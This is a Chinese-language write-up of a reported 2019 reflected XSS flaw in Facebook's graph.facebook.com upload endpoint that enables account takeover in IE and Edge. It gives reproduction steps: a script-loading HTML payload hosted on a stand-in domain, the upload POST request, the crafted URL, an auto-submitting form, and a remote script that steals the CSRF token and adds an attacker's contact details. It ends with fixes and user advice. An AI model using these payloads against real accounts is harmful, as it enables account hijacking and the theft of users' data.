挖洞经验 | 利用graph.facebook.com中的反射型XSS实现Facebook账户劫持
字数 1222 2025-08-18 11:39:11
Facebook Graph API 反射型XSS漏洞分析与利用教学
漏洞概述
本教学文档详细分析graph.facebook.com中存在的反射型XSS漏洞,该漏洞允许攻击者在特定条件下实现Facebook账户劫持。漏洞主要影响IE和Edge浏览器,通过构造恶意链接可诱骗受害者访问并执行恶意脚本。
漏洞技术细节
受影响组件
- 目标:graph.facebook.com中的API端点
- 影响浏览器:Internet Explorer和Microsoft Edge(由于MIME类型处理机制不同)
漏洞成因
- 不安全的HTML处理:API端点处理HTML代码响应时未实施完善的安全转义措施
- 响应头缺失:
- 缺少
Content-Type或X-Content-Type-Options头 - 缺少内容安全策略(CSP)限制
- 缺少
- 浏览器差异:
- IE/Edge会扫描整个页面确定MIME类型
- 其他浏览器仅检查前几个字符
漏洞复现步骤
1. 准备恶意Payload
构造包含外部JS引用的HTML代码:
<html><body><script src=//DOMAIN.com/script.js></script></body></html>
2. 上传恶意文件
发送POST请求到graph.facebook.com:
POST /app/uploads HTTP/1.1
Host: graph.facebook.com
access_token=ACCESS_TOKEN&file_length=100&file_type=PAYLOAD
参数说明:
ACCESS_TOKEN:有效的Facebook用户访问令牌(可从Facebook for Android应用获取)PAYLOAD:步骤1中的HTML代码
3. 获取会话ID
服务器响应示例:
{
"id": "upload:MTphdHRhY2htZW50Ojlk2mJiZxUwLWV6MDUtNDIwMy05yTA3LWQ4ZDPmZGFkNTM0NT8=?sig=ARZqkGCA_uQMxC8nHKI"
}
4. 构造恶意链接
利用返回的编码串构造攻击URL:
https://graph.facebook.com/upload:MTphdHRhY2htZW50OjZiZnNjNmYxLTljY2MtNDQxNi05YzM1LTFlc2YyMmI5OGlmYz9maWxlX2xlbmd0aD0wJmZpbGVfdHlwZT08aHRtbD48Y**keT48c2NyaXB0IHNyYz0vL0RPTUFJTi5jb20vc2NyaXB0LmpzID48L3NjcmlwdD48L2JvZHk+PC9odG1sPg==?sig=ARaCDqLfwoeI8V3s
5. 创建攻击页面
构造自动提交表单的HTML页面:
<html>
<body>
<form action="https://graph.facebook.com/upload:MTphdHRhY2htZW50OjZiZnNjNmYxLTljY2MtNDQxNi05YzM1LTFlc2YyMmI5OGlmYz9maWxlX2xlbmd0aD0wJmZpbGVfdHlwZT08aHRtbD48Y**keT48c2NyaXB0IHNyYz0vL0RPTUFJTi5jb20vc2NyaXB0LmpzID48L3NjcmlwdD48L2JvZHk+PC9odG1sPg==?sig=ARaCDqLfwoeI8V3s&access_token=MY_ACCESS_TOKEN" method="POST">
<input name="random_" value="random">
<input type="submit" value="Submit" />
</form>
<script type="text/javascript">
document.forms[0].submit();
</script>
</body>
</html>
6. 恶意脚本功能
https://DOMAIN.com/script.js应实现以下功能:
- 窃取受害者的
fb_dtsgCSRF token - 向
https://www.facebook.com/api/graphql/发送请求 - 添加攻击者控制的手机号或邮箱地址到受害者账户
漏洞利用效果
成功利用此漏洞可实现:
- 窃取用户敏感信息
- 添加攻击者控制的联系方式到受害者账户
- 最终实现Facebook账户劫持
防御措施
修复建议
-
输入处理:
- 在
file_type参数中加入对HTML代码的安全转义 - 实施严格的输入验证
- 在
-
响应头设置:
- 添加
Content-type: application/json头 - 设置
X-Content-Type-Options: nosniff
- 添加
-
其他安全措施:
- 实施内容安全策略(CSP)
- 对敏感操作增加二次验证
用户防护
- 避免使用IE/Edge浏览器访问可疑链接
- 定期检查账户绑定的联系方式
- 开启Facebook的双因素认证
漏洞披露时间线
- 发现并报告时间:2019年
- 修复时间:未明确说明(需参考Facebook官方公告)
总结
本漏洞展示了API端点中不安全的HTML处理和响应头配置可能导致的严重后果。开发人员应始终遵循安全编码实践,对所有用户输入进行严格验证和转义,并正确配置安全相关的HTTP头。